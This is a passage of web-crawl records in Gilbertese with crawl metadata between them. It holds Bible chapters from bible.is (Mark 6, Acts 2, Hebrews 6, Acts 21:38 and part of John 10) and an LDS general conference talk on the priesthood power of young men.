aoa tenua ma uoua n te kaarangaina, ao E kawariia n nakonako i aon te ran. Ngke E ri rarikiia bwa E nang taonnako, 49ao a nooria n nakonako i aon te ran. A taku bwa te anti, ma ngaia are a tangi n takaarua. 50A bane ni maaku ngke a nooria. E waekoa Iesu n taetae nakoia, ao E kaangai, Kam na karau nanomi, boni Ngai; tai maaku. 51E toka i rarikiia n te booti, ao e bwaka te anga. A rangi ni miimii ana reirei, 52ibukina bwa a aki oota bwa tera raoi nanoni kaamwarakeaia aomata ake nimanga; e aki tau korakoran aia iango bwa a na ataia. 53A ri nanon te nama ao a roko n te aba i Kennetareta, ao a rooa te booti iai. 54Ao ngke a kiitana te booti, ao a kinaa naba Iesu aomata; 55ma ngaia are a biribiri ni kabutai taabo nako, ao a uotiia ake a aoraki i aoni nneia ni wene nakon te tabo are a ongo bwa E mena iai Iesu. 56N taabo nako ake E roko iai Iesu, bwa kaawa ke taaun, ke n abaia taan unuuniki, ao aomata a kaweneia aoraki n taabo ni mwaakete, ao a butiia Iesu bwa E na kariaia aoraki bwa a na riinga naba ti rabin ana kunnikai; ao ake a riingnga a kamaiuaki.\nMAREKO 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/6","date":"2013-12-10T21:44:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026161\/warc\/CC-MAIN-20131204133346-00031-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1549,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_32callisterTe nakoanibonga inanon te ataeinimwaane e mwaaka kanga te nakoanibonga iroun te mwaane ngkana e karaoia n te raoiroi.\nN te 1878 tibun tinau ae George F. Richards bon 17 ana ririki. N aron ae n tabetai ni boong akanne, e a kaman katabuakaki bwa te unimwaane. Teuana te Taabati tinana e ibeia te maraki ae rangi ni korakora. Ngkai akea tamana, te bitiobi ao tabeman a kaoaki bwa a na anganna te kakabwaia, ma akea buokana ae reke. Ai ngaia are, e rairaki nakon natina te mwaane George ao n tuangnga bwa e na katoka baina iaon atuna. E koroia n ana taeari, \"Inanon tangiu ibukin marakin tinau ao ibukina bwa iai au mwakuri are N na karaoia (n anganna te kakabwaia n te nakoanibonga) are bon te bwai ae I tuai ni karaoia, I a nako n te ruu teuana n tang ao n tataro.\"\nNgke e a oki nanona, e katokai baina iaona ao n anganna te kakabwaia ae bebete. Iwmiina ao e taku, \"Tinau e toki tangina ni kainnano ao ni karekea buokana man marakina n te tai are a toka baiu iaon atuna. Imwiina e koreia n ana taeari te bwai ae nooraki aio ae rangi teretere.E taku bwa e a tia n namakinna bwa bukina ae tinana e aki karekea te buokaki man ana kakabwaia te bitiobi bon tiaki ibukina bwa te Uea e aki karinea ana kakabwaia te bitiobi ma ibukina te Uea e a tia ni kawakina te kakabwaia aio nakon te ataeinimwaane, n reireiinna te reirei bwa te nakoanibonga iroun te ataeinimwaane bon titebo korakorana ma te nakoanibonga are iroun te mwaane ngkana e kamwakuria n te raoiroi.\nN te tairiki aio, I tangiria n taetae ibukin te mwaaka anne. E ngae ngke N na taekinna nakon aia beretitenti kooram riikan, te koaua are e maroroakinaki e kaineti nakoia te roronrikirake n te Nakoanibonga ae te Aaron ao aia taan kairiiri,n ikotaki ma beretitenti n aia kooram taan reirei ao aia taan ibuobuoki ibonga,\nNgke I mwakuri bwa te beretitenti n te mition, I nooria bwa iai te rikirake ae karina man teretere n rabakauia taan kairiiri n te tamnei irouia kairake n mwaane inanon aia ririki ni mwakuri ni mitinare. Ngkana ti kona n numera aia karinan tamnei ao rabakauia ni kairiiri rinanon aia ririki n te nakoanibonga ae te Aaron ao iaon aia tai ni mitinare, tao te numera anne e na taraa n ai aron ae ko nooria n kurabi aio. I kakoaua bwa e aki kee iaan teniua kiing aika kakawaki ake a buoka te rikirake ae kakawaki inanon ririki ake e mwakuri iai te kairake ni mwaane.: (1) ti onimakiniia kairake ni mwaane aikai n tiaki aron are mai mwaaina, (2) iai iroura kantaninga aika rietata man tangira ibukiia, ao (3) ti kataneiaia ao ni kataneiaia riki ngaia bwa aonga ni kakoroa bukin kantaninga akanne ma te kabanea n tamaroa.\nTemanna e kona n titiraki raoi, \"Bukin tera a aki kona koaua aikai ni kamwakuraki ma beretitenti n aia kooram riikan?\" Ngkana a karaoaki aikane, tao te rikirake (n te tamnei) e na waaki man te tai ae moan taai ao n taraa n aron aei. Ibukin te tai aei, I tangiria n taetae bwa a kanga reirei aikai ni kabonganaki nakon te beretitenti n aia kooram riikan.\nTe Moan—onimakinaki. Ti kona n anga te onimakinaki nakoia ara beretitenti n aia kooram riikan ma te mwioko ae korakora. Te Uea e bon karaoia—n aron are kakoauaki man Ana anganano n anganiia taian kiing, nanona te inaomata n tararua ao ni kaira te mwakuri n aia kooram. N aron te kakoaua man te onimakinaki aio, ti weteia beretitenti n aia kooram riikan man te kaotioti, tiaki tii man te maan ke aekaki riki aika titebo. Tatabemaniia taan kairiiri n te Ekaretia aio, n ikotaki ma beretitenti n aia kooram riikan, iai inaomataia n ataia, ao n riai n ataia, bwa e a tia ni weteaki man te kaotioti. Te kakoaua aio e buokia n ataia bwa te Atua e onimakinna ao ni kamatoa.\nTe kauoua ao te kateniua n anua are a bon irekereke—te kantaninga ae rietata ao te kataneiai aika a reitaki ni kakoroi bukiia. I reiakina te reirei ae kakannato inanon te tabo ni mwakuri ni mitinare: ana kekeiaki te mitinare n angiin te tai e waerake ke e kerikaki ni kaitara ana kantaninga te beretitenti n te mition, ao ai aron naba beretitenti n aia kooram riikan. Ngkana a kantaningaaki bwa a na tii kaira aia bootaki ni kooram ao n iira aia bootaki te komete n te roronrikirake n te bitiobiriki, ngkanne bon tii aei ae a na karaoia. Ma ngkami taan kairiiri kam kona n anganiia te mii ni burabeti ae korakora riki—ana nooraba te Uea. Ao bukin tera te mii ni burabeti e rangi ni kakawaki? Ibukina bwa man rikiraken te mii ni burabeti e karekea te ungannano.\nTe inaomata ni karekei kaotioti bon mwakoron te wewete ni kabane inanon te Ekaretia. Ai ngaia are, beretitenti n aia kooram riikan aikai a kainnanoia n ataia bwa iai inaomataia ni karekei kaotioti n rekomente aia kauntira, inaomataia ni karekei kaotioti ibukin kamaiuakia ake a bua n tamneia, ao inaomataia ni karekei kaotioti ni kataneiaia kaain aia kooram n tabeia.\nTe tia kairiiri ae wanawana e na reireina te beretitenti n aia kooram riikan koaua akanne ake a na ibuobuoki ni karekean kaotioti. E kona n reireinna te berita ae mataata mai iroun te Uea, \"bwa ngkana ti na butiia (te Uea ibukin kaotioti ao rabakau, ti na karekei kaotioti iaon kaotioti\" (D&C 42:61)? Te Uea e rangi n tituaraoi ni kanakoan kaotioti. E kauringiia Iotebwa ao Oliver bwa ni mwaitin are a tia ni kakaea (te Uea), a tia ni karekea te kaetieti man Tamneina (taraa D&C 6:14). Ao e kona naba ma ngkami beretitenti n aia kooram riikan. Te Uea e tangiringkami ao e tangiria ni kaotia nakoimi Ana iango ao atatai ao kantaninga. Ko kona n iangoia iai ana kangaanga ae E aki kona ni katokia? I aki kona. Ibukina bwa ko riai ni karekea te kaotioti, E kona ni buokiko ni katoki raraomam ni kabane n am mwakuri ae te beretitenti n am kooram ngkana ko na kakaea Ana buoka.\nNgkami taan kairiiri aika tamaroa kam kona n anga reirei nakon te beretitenti n aia kooram riikan aio bwa te kaotioti bon tiaki onean mwiin te mwakuri korakora ao am kekeiaki ibon iroum. Beretitenti Henry B. Eyring n te taina e titirakina Beretitenti Harold B. Lee, \"N na kanga ni karekea te kaotioti? E kaeka Beretitenti Lee, \"Ngkana ko tangiria ni karekei kaotioti, karaoa moa am kekeiaki ibon iroum.\"1 Te tia kairiiri ae wanawana e kona ni maroro ma ana beretitenti n te kooram n riikan tabeua kekeiaki ibon iroum n te tamnei are e kona ni karaoia ni katauraoan ana rekomente ibukin ana tia ibuobuoki. E kona ni kainnanoia n titiraki ao ni kaekai titiraki n aron ae: Antai ae e na riki bwa te katooto ae tamaroa are e kona ni kaungaia tabeman ataeinimwaane? Ke are e na kai namakini kainnanoia te koraki ake a kaitara ma kakaewenako aika onoti?\nAo kabaneana te tia kairiiri ae wanawana aio e kona n reireina te beretitenti n te kooram n riikan bwa e na kanga ni kina ao ni mwakuriia te kaotioti ngkana e roko. Ti maiu n te aonaaba ae e onrake n te mwakuri aika baiti ao ni kakukurei, ike taian taura aika oota mwaaka ao karongoa aika korakora a riki bwa bwaai e tataneiai te aba. Ma te kairake n aomata aio e kainnanoia n ataia bwa aio aron te aonaaba, tiaki ana kawai te Uea. Te Tia Kamaiu e bungiaki n te tabo are e kaania ae akea ae e ataia. E karaoa te mwakuri ae e rangi n tamaroa ao n aki kona ni kabotauaki n taai ni kabane inanon te onaroka ae ariki ao Iotebwa Timiti e karekea ana Moan Mii ni burabeti inanon te buakonikai ae okoro man ariki. Ana kaeka te Atua e roko man te bwana ae rau man uarereke—namakinan n te rau ke te karaunano, te wirikiriki ni karaoa ae tamaroa, te kaotaaki—n tabetai n rabwata n te koraa ae uarereke ma e kona ngkana a iangoaki raoi man anganaki te karineaki, a kona n riki ni korakora. N tabetai wirikiriki aikai ke iango a kona ni kairiko n rekomente bwa am tia ibuobuoki ke ni kabwaka te mwioko nakon te kairake ni mwaane are ngkai e kai bati ni kakaonimaki.\nN ririki aika nako ngke I mwakuri n titeiki beretitentii, ara beretitentii e namakina te wirikiriki ni wetea te mwaane ae tamaroa bwa te kiraka n te titeiki. N te tai are e riki bwa te tia mwakuri ae aki teimaan ni kekeikaki ma te roroko n te taromauiri. Ti ataia, bwa e kanga, ngkana e butimwaea te wewete, e na karaoa te mwakuri ae moan te tamaroa.\nTi anganna te wewete, ma e kaeka, \"Iaki, I taku bwa I aki kona ni karaoia.\"\nImwiina e roko te wirikiriki . I taku, \"Eng, I taku bwa te Glendale titeiki a na akea ana titeiki kiraka imwiina.\"\nE kubanako, ao e kaeka, \"Terana ae kam taekinna—? Kam riai ni iai ami titeiki kiraka.\"\nI kaeka, \"Ko tangirira ngkai bwa ti na wetea temanna ae boou n riki bwa te titeiki kiraka ngkana te Uea e wirikiriki nakoira bwa ti na weteiko?\"\n\"Ngaia,\" e taku, \"N na karaoia.\"\nAo e bon karaoia. Tiaki tii mwaane aika bati ma atainimwaane aika bati ake a na kaeka te wewete ngkana a ataia bwa te Uea e bon weteia ao bwa te Uea e kainnanoia.\nImwiina ko kona n tuanga te beretitenti n aia kooram riikan bwa teuana ana kantaninga te Uea ibukina bwa e na kamaiua are e bua, ni kauoman bwa are e aki roroko ao tiaki te membwa. Te Uea e katanoata oin Ana mwakuri n taeka aikai: \"Bwa e roko natin te aomata ni kamaiua are e bua\" ((Mataio 18:11). Ngkana ana kabanea ni kakawaki te Tia Kamaiu ni kamaiua are e bua, ngkana ana kabanea ni kakawaki Beretitenti Thomas S. Monson ni karaoia, n aron are e kaotaki inanon maiuna, e riai n riki bwa aia kabanea ni kakawaki taan kairiiri ni kabane, beretitenti n aia kooram riikan ni kabane n te Ekaretia aio. Oin katuruan ara nakoanikairiiri, bwa oin ara mwakoro n te mwakuri, e riai n riki bwa te tatauraoi, te nano n atitiki ae korakora, te nano ae teimatoa nakon are e bua n te tamnei.\nTemanna te kairake ni mwaane are e kawaraki iroun kaain ana kooram e taku: \"E bon kakubanako n te bong aio ngke … 30 aomata aika a ti roko naba nakon au auti. E karaoai bwa N na tangira n taromauri ngkai.\" E kanga te roronrikirake n totokoa te tangira ao te bwai ae e katika nanom n aron anne.\nI bon kukurei ngke I ongo karaki aika bati ibukiia beretitienti n aia kooram riikan ake a tia ni karekea te kaotioti ao te oota ae riai ao n tabetai a anga reirei ni kabane ke mwakoron te reirei n aia bootaki n te kooram. Ni wiiki aika bati n nako I ira aia kiraati ni kooram riikan. Te ataeinimwaane ae 12 ana ririki e anga ana reirei ae 25 te miniti maanna iaon te Mwakuri ni Kamaiu. E moanna man titirakinaia raona n riikan bwa tera aia iango n te Mwakuri ni Kamaiu. Imwiina e tibwaua tabeua taeka aika tabu aika nano ao n titiraki titiraki aika kau iango, are a bon kaeka. N ataakina bwa e rawata riki nikiran te tai nakon kanoan te reirei iai irouna te wanawana ao tao tabeua kaetieti mai iroun tamana mai imwaaina n titirakiniia taan kairiiri ake a roko bwa tera titiraki are a tia n titirakinaki ibukin te Mwakuri ni Kamaiu n aia tai ni mitinare ao tera aia kaeka nakon titiraki akanne. E a kainna ngkanne ma ana kakoaua. I bon mimii ngke I kakauongo. I iango nakoiu, \"I aki uringnga ae I a tia n anga te mwakoro ae kakawaki man te reirei ngke I mena n te roronrikirake n te Nakoanibonga ae te Aaron.\" Ti kona ni karikirakea te kantaninga ibukin ao te noraba ao te atatai ibukiia kairake ni mwaane aikai, ao a na kaeka.\nNgkami taan kairiiri buokiia n te kawai ae te kabanea n tamaroa beretitenti n aia kooram riikan ngkana ko toua rikaki n anganiia bwa a na kairiiri. Ko a tia ni kanakoraoa am wewete tiaki ngkana ko anga te reirei ae tamaroa ma ngkana ko buokiia n anga te reirei ae tamaroa, tiaki ngkana ko kamaiua temanna ma ngkana ko buokiia ni karaoia.\nIai te taeka ni kawai: tai mate ma am katangitang ae teimatoa iroum. N ai arona naba N na taku nakoimi taan kairiiri ikawai, tai kainaomatako ma rabakaum ni kairiiri ae teimatoa iroum. Anga reireia ara roronrikirake n taai ni kabane ake angaraoi, reireiniia bwa a na kanga ni katauraoa aia akenta , a na kanga ni kairi bootaki ma te kororaoi ao te tangira, a na kanga ni kamaiua temanna, a na kanga ni katauraoa ao n anga te reirei ae e kaira te nano, a na kanga ni karekea te kaotioti. Aio are ko na kanga ni bairea am tokanikai—man te nakoanikairiiri ao n tamnei are ko a tia ni buokia n riki bwa mwakoron kabin am iango ao namakin ibukiia kairake ni mwaane aikai.\nNgkana am beretitenti n te kooram n riikan e na kabubura am wewete, ko na riki bwa tabonbain te Atua ngkai, ibukin te nakoanibonga iroun te ataeinimwaane e bon korakora n aron te nakonibonga iroun te mwaane ngkana e kamwakuraki n te raoiroi. Ao ngkanne, ngkana kam karaoi berita aika tabu man te tembora ao n riki bwa mitinare ao taan kairiiri n te Ekaretia aio, kam na ataia bwa kam na kanga ni karekei kaotioti, ni kanga ni kamaiua temanna, ao ni kanga n anga reireia reirein te abanuea ma te mwaaka ao te kariaiakaki. Ngkanne ko na tia n riki bwa te roronrikirake ae bungiaki man te aro ae tamaroa. Man aio I bon kakoaua n aran Iesu Kristo, are bon ngaia te Tia Kamaiu ao te Tia Kanakoraoa te aonaaba, amen.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.lds.org\/general-conference\/2013\/04\/the-power-of-the-priesthood-in-the-boy?lang=spa&clang=gil","date":"2013-12-05T22:27:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048362\/warc\/CC-MAIN-20131204131728-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2369,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.424,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke e roko te bong are Bentekota, ao a bane ni bootaki ake a onimakina Iesu n te tabo ae ti teuana. 2Ao e rina n roko te neaa mai karawa, ae e kaanga ai aroni karongoaan ukin te ang ae e baibati, ao e kaona nanon te auti are a tekateka iai. 3Ao a noori baika ai aron te ai aika a ura, aika ai aron taraan te newe; a uamaae nako baikai n tatabeua nakoia, ao a tiku i aoia n tatabemaniia nako. 4A bane ni kaonaki n te Taamnei are e Raoiroi, ao a taetae n taetaen aaba tabeua, n ai aron are E anganiia te Taamnei bwa a na taetae iai. 5Iai i Ierutarem I-Iutaia aika a rangi n taua te Aro n Iutaia; a roko man aaba nako i aonnaba. 6Ngke a ongo bwanaaia taan onimaki, ao a ikotaki aia koraki aika a bati ma te miiimii, bwa a bane n oota n tebaere a taekinna taan onimaki, bwa a taetae n aia taetae nako. 7A bon rangi ni miimii irouia, ma ngaia are a kaangai, Noria, tiaki I-Kariraia uaakai ni kabaneia aika a taetae? 8Ao e aera ngkai ti bane n ongo n taetaen abara nako ake ti bungiaki iai? 9Ngaira aika I-Baretia, ma I-Miria, ma I-Eram, ma aomata aika a maeka i Metobotaamia, i Iutaia, i Kabatokia ao i Bonto ma Atia, 10ao i Berukia, Bamburia ma Aikubita, ao i aban Ribua ake i rarikini Kurene; ao iai naba i buakora aika a roko n iruwa mai Rom, 11aika a I-Iutaia ma aomata aika tiaki I-Iutaia aika a tia n riki bwa kaain te Aro n Iutaia, ma I-Kirete, ma I-Arabia; ti bane n ongo irouia ngkai a taekin ana mwakuri te Atua aika a kamiimii n ara taetae nako. 12Ao a bane ni miimii ma ni mino aia iango, ao a i titiraki irouia ni kaangai, Tera nanon te baei? 13Ma a taetae ni kakaniko temwaangina ao a kaangai, A koro ni manging n te wain. 14Ao e tei rake Betero ma uaake tengauni ma temanna, ao e kanenea bwanaana n taetae nakoia aomata ni kaangai, Mwaane aika I-Iutaia, ao ngkami ni kabaneingkami aika kam maeka i Ierutarem, e na ataaki aei iroumi, ao kam na ongoraa n au taeka: 15bwa a aki manging uaakai n ai aron are kam taku, bwa ai tibwa te aoa ruaiwa n te ingabong aei. 16Ma aio te taeka are e atongaki ngkoa iroun te buraabeti are Ioera, are e kaangai, 17E taku te Atua, Ao ni boong aika kabanea ni boong, N na nuurakina Taamneiu i aoia aomata ni kabaneia; ao a na taetae ni buraabeti natimi aika mwaane ma aine, ao a na noori baika ai aroni kanoani mii ami rorobuaka n ataei; ao a na miiakini mii ami unimwaane; 18ao N na nuurakina naba Taamneiu i aoia tooro aika mwaane ma aine ni boongi naba akekei, ao a na taetae ni buraabeti. 19N na kaoti baika a kamiimii i eta i karawa, ao kanikina i nano i aon te aba, n ai aroni baikai: te raraa ma te ai, ma bubu n ai aika a matenten. 20E na riki n roo taai, ao e na turubaka n uraura namwakaina, i mwaain rokon ana bong Iehova are e kakannato are e kakamaaku. 21Ao e na kamaiuaki ane e mwanewea aran Iehova. 22Mwaane aika Iteraera, kam na ongo taeka aikai: Iesu are te I-Natareta are e kaotaki arona i buakomi bwa iai nakoana mai iroun te Atua, are e kateretereaki raoi n taiani mwakuri aika a kamiimii, ma baika a kamiimii, ma kanikina, ake E karaoi te Atua irouna i buakomi, n ai aron are kam bon ataia; 23E a kaman tia ni baaireia te Atua, ao E a kaman ataia naba, ae E na tauuaki Iesu nakoimi, ao kam kamatea, bwa kam anga nako nanoni baiia aomata aika a ririaon te tua, bwa a na tauria n te kaibangaki; 24ma E a manga kamaiua te Atua ao E kainaomataa mani marakin te mate: bwa E aki konaaki n tauaki Iesu n te mate. 25Bwa e a kaman taekina Iesu Tawita ngke e kaangai, I tarataraa te Uea i matau n taai nako; Bwa E meemena i angaataiu, bwa e aonga n aki kakiriweeaki au iango; 26Ma ngaia ae e kimwaareirei nanou, ao I taetae ma te kakatonga; ao ngai, ae te rabwata ae e maamate, N na tiku ma te kaantaninga ae e nene: 27Bwa ane Ko na aki kiitana aomatau ni koaua i Eriti, Ao Ko na aki anga rabwatan am Aomata ae Moan te Raoiroi bwa e na rootaki n te mka. 28Ko kaoti kawai ni kamaiu nakoiu, Ao meemenam irou e a karekea nakoiu te kimwaareirei ae e bati. 29Mwaane, taari, e riai bwa N na taekina aron Tawita are ara bakatibu nakoimi n aki wimakiikii: bwa e mate ao e taunaki, ao e mena nnena n taunaki i rarikira ni karokoa te bong aei. 30Bon te buraabeti ngaia, ao e ataa ana taeka ni bau te Atua nakoina, are E kaotia iai bwa E na karika temanna i buakoia ana kariki Tawita bwa te uea ngaia, n ai aron Tawita. 31Ao Tawita e a kaman noora te baere E na karaoia te Atua, ma ngaia are e taekina manga-maiun te Kristo: bwa E aki kaaki taekana i Eriti, ao E aki rootaki rabwatana n te mka. 32E a manga kamaiuaki Iesu aei iroun te Atua, ao bon taani kakoauaa manga-maiuna ngaira ni kabaneira. 33Ngkae E neboaki i angaatain te Atua, ao ngkae E anganaki iroun te Tama te taeka n aakoi ibukin te Taamnei are e Raoiroi, ao E a tia n nuurakina te baei, ae kam nooria ma n ongo. 34Bwa e aki rierake Tawita nako karawa, ma e kaangai, E taku te Uea nakon au Uea, Ko na tekateka i angaataiu 35ni karokoa karaoaia am kairiribai irou bwa nneni katokaani waem. 36Ma ngaia ae kam na ataia ni koaua ngkami aika Iteraera ni kabaneingkami bwa E a tia te Atua ni karika Iesu bwa te Uea ao te Kristo. 37Ngke a ongo aei aomata ao a teke nanoia; ma ngaia are a taku nakoni Betero ma taan tuatua ake raona, Mwaane, taari, tera ae ti na karaoia? 38Ao e taku Betero nakoia, Rairi nanomi, ao kam na bane ni bwaabetitooaki n aran Iesu Kristo ibukini kabwaraan ami bure; ao kam na anganaki te bwai n tituaraoi are te Taamnei are e Raoiroi. 39Bwa E a tia te Atua n anga ana taeka n aakoi nako imi, ao nakoia ami kariki, ao nakoia naba ake a mena i kiiraroa, ake E weteiia te Uea are Atuara nako Ina. 40A bati riki ana taeka Betero nakoia, ao e butiia ni kaangai, Kam na kamaiungkami man te rekenikai ane e nang roko nakon te roro ae e buaakaka aei. 41A bwaabetitooaki ngkanne aomata ake a butimwaaea ana taeka Betero, tao teningaa mwaitiia, ao a ikotaki ma mwaitiia taan onimaki n te bong arei. 42A botumwaaka nakon reireiaia irouia taan tuatua, ao nakon aroia n i buokanibwai; ao a kakaonimaki nakon iriiran aia bobootaki n amwarake ma n tataro. 43E karaoi mwakuri aika a kamiimii ma kanikina te Atua irouia taan tuatua, ao a taonaki aomata n te maaku. 44A kateimatoaa aroia n iraorao taan onimaki, ao a i buokanibwai n aia bwai nako; 45ao a kaboo nako abaia ma aia bwai nako, ao a tibwatibwai booia nakoia ake a onimaki, ni kaeti ma kain nanon temanna ma temanna. 46A bobootaki n te umwantabu ma te nano ae ti teuana ni katoa bong, ao a bobootaki n amwaamwarake n aia auti nako, ao a kang kanaia ma te kukurei ao te nanora oi; 47ao a kamoamoaa te Atua, ao a tangiraki irouia aomata. N te bong ae koraki ao a kamwaitaki riki aia koraki taan onimaki iroun te Uea irouia ake a tibwa manga kamaiuaki.\nMWAKURI 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/2","date":"2013-12-12T11:57:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164582561\/warc\/CC-MAIN-20131204134302-00075-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1314,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ti na aki toki ni baike ti moa n reireiaki iai n taekan Kristo, ma ti na waaki rake nakon reirei n ikawai; ao ti na tai manga titiku n taekani baika kam moa n reireiaki iai, ake taekan te rairan nano mani mwakuri aika akea uaaia, ao taekan onimakinan te Atua, 2ma taiani bwabetito, ma katokaani baai, ma manga-maiuia maate, ma te motiki-taeka ae e aki toki. 3Ao ti na karaoa aei, ngkana E kariaia te Atua. 4Bwa aomata aika a tia n reke irouia te oota, aika a tia ni katoonga te bwai n tituaraoi mai karawa, aika a tia n anganaki naba te Taamnei are e Raoiroi, 5ao a a tia naba n reke irouia ana taeka ae e raoiroi te Atua ma mwaakan te aba ae e nangi roko, 6ngkana a kiitana te onimaki, ao a bon aki konaaki ni kaokaki nakon rairan te nano ibukina ngkai a manga taura Natin te Atua n te kaibangaki i bon i bukiia, ao a karaoa ae E na kamaamaaeaki iai irouia aomata. 7Bwa e kakabwaiaaki iroun te Atua te tano ae a tia n oonga te karau ae e bwaabwaka i aona, ae e kariki aroka aika a boongana nakoia akana e ribanaaki i bukiia. 8Ma ngkana e kariki kaai aika a kateketeke ma kaai aika akea boonganaia, ao e aki boongana; e a kaan rekeni kaina, ao n tokina e na kabuokaki. 9Ma ti bon aki nanokokoraki iroumi, ngkami aika kam tangiraki, ngkana tao ti taetae n te aro aei; bwa ti ataia bwa a a tia n reke iroumi taiani kabwaia aika a raraoi riki aika a reitaki ma aroni kamaiuami. 10Bwa E aki riibuaka te Atua ni mwanuoki taekan ami mwakuri ake kam karaoi ibukina, ma ami tangira are kam kaotia ibukina, ngke kam a tia n anga ami buobuoki, ao ae kam bon teimatoa naba iai i bukiia ake a itiaki. 11Ma ti tangiringkami n tatabemaningkami nako bwa kam na kaota te ingainga n nano ae ti te arona ni karokoa te toki, bwa kam aonga ni koaua raoi ni bwaai aika kam kaantaningai bwa a boni koaua: 12bwa kam na aki taningaroti, ma kam na kakairi irouia ake a tia ni karekea kanoan te taeka n aakoi ibukin aia onimaki ma aia taotaonaki n nano. 13Ngke e anganaki Aberaam te taeka n aakoi iroun te Atua, ao E tuea i bon irouna, ngke akea riki temanna ae e kakannato riki nakoina are E konaa ni kamanenaa arana ngkana E tuea; 14ao E kaangai, Bon te koaua bwa N na kakabwaiako, ao N na kabatiaia am kariki ni boni kabatiaia. 15Ao ibukin aron Aberaam n taotaona nanona, ao e a reke irouna mwiin te taeka n aakoi arei. 16Bwa ngkana a taetae n tuea aomata ao a kaboonganai araia ake a kakannato riki nakoia; bwa te taeka ni berita boni ngaia ae katoki kauntaeka ni bane. 17Ma ngaia aei, bwa te Atua ngke E kani kaota raoi nakoia taani bwaibwai n te taeka n aakoi bwa E aki konaa ni bita nanona are iai, ao E kamatoaa ana taeka n aakoi n te taeka ni berita, 18bwa ti aonga ni karekea kakorakoraan nanora ae bati ni baika uoua aikai aika a aki bibitaki, aika ti aki konaa ni keweaki iai iroun te Atua, ngaira aika ti biri nako bwa ti na taua te kaantaninga are e kamenaaki i mwaaira. 19Ao iai iroura te kaantaninga ae ti taua bwa kaanga atinroni maiura, ae te atinro ae e matoatoa ae e nene, are e rin i nanon te ru are moan te tabu are i akuun te roki are te kunnikai i nanon te umwantabu i karawa, 20ike E a tia n rin iai Iesu i bukira, ae te tia ri-moara; ao E riki bwa te Ibonga ae e Kakannato n aki toki, n ai aroni Merekitereka.\nEBERA 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/6","date":"2013-12-13T05:12:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164884560\/warc\/CC-MAIN-20131204134804-00085-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":645,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.47,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:3838Tiaki te I-Aikubita arei ngkoe, are e kateirakea te kiriwe i nanon taai aika a bwaka nako, ao e kairiia angaa te aomata aika taan tiritiri n te biti nakon te rereua? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/38","date":"2013-12-06T13:02:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051590\/warc\/CC-MAIN-20131204131731-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999597073,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999597072601318}","num_words":48,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bon te koaua ni koaua ae I a tuangkami bwa ane e aki rin ni nnen te tiibu man te mataroa, ma e tamwarake man te tabo teuana, ao bon te tia iraa ao te tia kamwarua; 2ma ane e rin man te mataroa ao bon te tia kaawakin-tiibu. 3E kaukaki te mataroa nakoina iroun te tia tantani n te mataroa; a ongo bwanaana tiibu, ao e weteiia ana tiibu n araia nako, ao e kairiia ni kaotinakoia. 4Ngke a bane n oti nako ana tiibu, ao e ri moaia, ao tiibu a iria, bwa a kinaa bwanaana. 5A aki konaa n ira te ianena, ma a na biri nako mai irouna, bwa a aki kinai bwanaaia ianena. 6E taekina te rongorongo ni kabootau aei Iesu nakoia, ma a aki oota iai bwa tera ae E nanonna. 7Ma ngaia are E a manga taku Iesu nakoia, Bon te koaua ae I a tuangkami bwa Ngai aia mataroa ni koaua tiibu. 8Taan iraa ao taani kamwarua te koraki ni kabaneia ake a roko i mwaaiu; ma a aki ongo tiibu irouia. 9Boni Ngai te mataroa; ngkana e rin te aomata irou, ao e na kamaiuaki: e na rin ao e na oti nako, ao e na karekea kanana. 10Bukin rokon te tia iraa bon ti te iraa, te kamaamate ao te urubwai; ma I roko bwa e aonga n reke irouia te maiu ae e koro raoi arona. 11Ngai te tia 